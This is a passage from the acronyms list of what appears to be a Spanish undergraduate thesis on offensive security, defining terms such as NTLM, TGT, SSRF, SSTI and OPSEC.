NIST National Institute of Standards and Technology.
NTFS New Technology File System.
NTLM New Technology LAN Manager.
NTLMSSP NT LAN Manager Security Support Provider.
OPSEC Operational Security.
OSINT Open Source Intelligence.
OTAN Organización del Tratado del Atlántico Norte.
OU Organizational Unit.
PSRP Powershell Remoting Protocol.
RAM Random Access Memory.
RC4 Rivest Cipher 4.
RCE Remote Command Execution.
RDP Remote Desktop Protocol.
Acrónimos y Abreviaturas 79

RFID Radio Frequency Identification.

RGPD Reglamento General de Protección de Datos.
SAM Security Account Manager.
SID Security Identifier.
SIEM Security Information and Event Manager).
SIM Subscriber Identity Module.
SMB Server Message Block.
SMTP Simple Mail Transfer Protocol.
SOC Security Operations Center.
SOCKS Socket Secure.
SQL Structured Query Language.
SSO Single Sign-On.
SSRF Server-Side Request Forgery.
SSTI Server-Side Template Injection.
TCP Transport Control Protocol.
TFG Trabajo Final de Grado.
TGS Ticket Granting Service.
TGT Ticket Granting Ticket.
TIC Tecnologías de la Información y Comunicación.
TLS Transport Layer Security.
URL Uniform Resource Locator.
USB Universal Serial Bus.
VLAN Virtual LAN.
VoIP Voice over Internet Protocol.
VPN Virtual Private Network.
WinRM Windows Remote Management.
XDR Extended detection and response.